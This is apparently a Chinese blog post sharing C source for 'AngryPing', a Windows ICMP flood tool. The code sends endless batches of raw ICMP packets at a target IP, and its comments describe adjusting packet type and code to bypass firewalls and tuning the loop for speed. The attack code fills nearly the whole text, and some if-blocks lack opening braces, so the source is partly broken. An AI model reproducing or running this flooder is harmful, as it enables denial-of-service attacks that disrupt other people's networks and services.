ICMP 攻击代码

// ConsoleApplication3.cpp : 定义控制台应用程序的入口点。
//基本的洪水流,没有地址欺骗,


#include "stdafx.h"


#include <winsock2.h> 
#include <ws2tcpip.h> 
#pragma comment(lib, "ws2_32.lib")
//头文件和库文件声明,如果不能编译,请在Link里加上ws2_32.lib
#define false 0
#define true 1
#define SEQ 0x28376839
// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
//计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int main(int argc, char **argv)
{
int datasize,ErrorCode,flag;
int TimeOut=2000, SendSEQ=0, PacketSize=32,type=8,code=0,counter=0; //默认数据声明
char SendBuf[65535]={0}; //缓冲
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
ICMP_HEADER icmp_header;
char DestIp[20]; //目标IP
if (argc<2)
{
printf("AngryPing by HBU-LK007\n");
printf("Usage:%s [Dest] <PacketSize> <type> <code>\n",argv[0]); 
//允许用户自定义数据包大小、类型、代码,用以绕过一些防火墙或做一些特殊的报文Flood
exit(0);
}
strcpy(DestIp,argv[1]);
if (argc>2) PacketSize=atoi(argv[2]); //取得数据大小
if (PacketSize>65500) 

printf("Packet size must less than 65500\n"); //太大会无法生成IP数据报的
exit(0); 
}
if (argc>3) type=atoi(argv[3]); //取得类型值
if (type>16) 

printf("Type must less than 16\n"); 
exit(0); 
}
if (argc>4) code=atoi(argv[4]); //取得代码值
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
exit(0);
}
if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
fprintf(stderr,"WSASocket failed: %d\n",WSAGetLastError());
exit(0);
}
flag=TRUE;
{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
exit(1);
}
//主要代码开始
printf("Dest:%s   packet:%d   type:%d   code:%d\n\n",argv[1],PacketSize,type,code);
printf("Starting...\n\n");   //视觉效果:P
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充Socket结构
//填充ICMP首部
icmp_header.i_type = type;
icmp_header.i_code = code;
icmp_header.i_cksum = 0; //校验和置0
icmp_header.i_id = 2;
icmp_header.timestamp = GetTickCount(); //时间戳
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); //组合ICMP报文和头部
memset(SendBuf+sizeof(icmp_header), 'E', PacketSize); //用E填充ICMP数据
icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); //计算校验和
datasize=sizeof(icmp_header)+PacketSize; //计算整个数据包大小
//开始发送
while(1){ //无限循环,按Ctrl+C跳出
/*
这里的printf实际上是为了延时,Flood程序最好别用这么华丽的界面或字符提示来美化自己,这样会迅速拖慢程序效率!当然,如果能不显示最好,但 我去掉printf后,程序死掉了(太快?)如果你觉得“Sending 1024 packets...”还是大大增加了延时,可以改成printf("."); 一个小点。反正是自己用,用得顺手就可以。
*/
//printf("Sending 1024 packets...\n");
for(counter=0;counter<1024;counter++){ //循环发送1024个数据包为一组
//发送ICMP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
}
}
}
{
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值